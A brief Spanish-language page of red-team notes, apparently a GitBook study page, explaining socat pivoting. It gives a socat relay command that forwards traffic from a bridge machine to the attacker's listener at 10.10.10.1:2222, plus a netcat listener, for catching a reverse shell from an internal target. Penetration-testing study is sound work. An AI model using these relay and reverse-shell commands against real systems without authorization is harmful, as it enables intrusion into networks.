> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/apuntes/red-team/tools/socat.md).

# Socat

**Socat** es una herramienta que permite conectar y retransmitir flujos de datos entre diferentes tipos de conexiones o «sockets».

## Uso:

<figure><img src="/files/3r2bVpPh789jPh0QCien" alt=""><figcaption></figcaption></figure>

1º Nos pasamos la herramienta a la máquina puente

<figure><img src="/files/6Giw4yaLSIK74idcD2XZ" alt=""><figcaption></figcaption></figure>

2º Configuramos **socat** para que escuche por el puerto 3333 y nos mande lo que le llegue por ese puerto a nosotros por el puerto 2222

```bash
./socat TCP-LISTEN:3333,reuseaddr,fork TCP:10.10.10.1:2222
```

3º Nos ponemos a la escucha desde nuestra maquina

```bash
nc -lvnp 2222
```

4º Nos mandamos una reverse shell a la maquina puente desde la maquina final

<figure><img src="/files/yHAhDFav6jK5IXGPQLML" alt=""><figcaption></figcaption></figure>
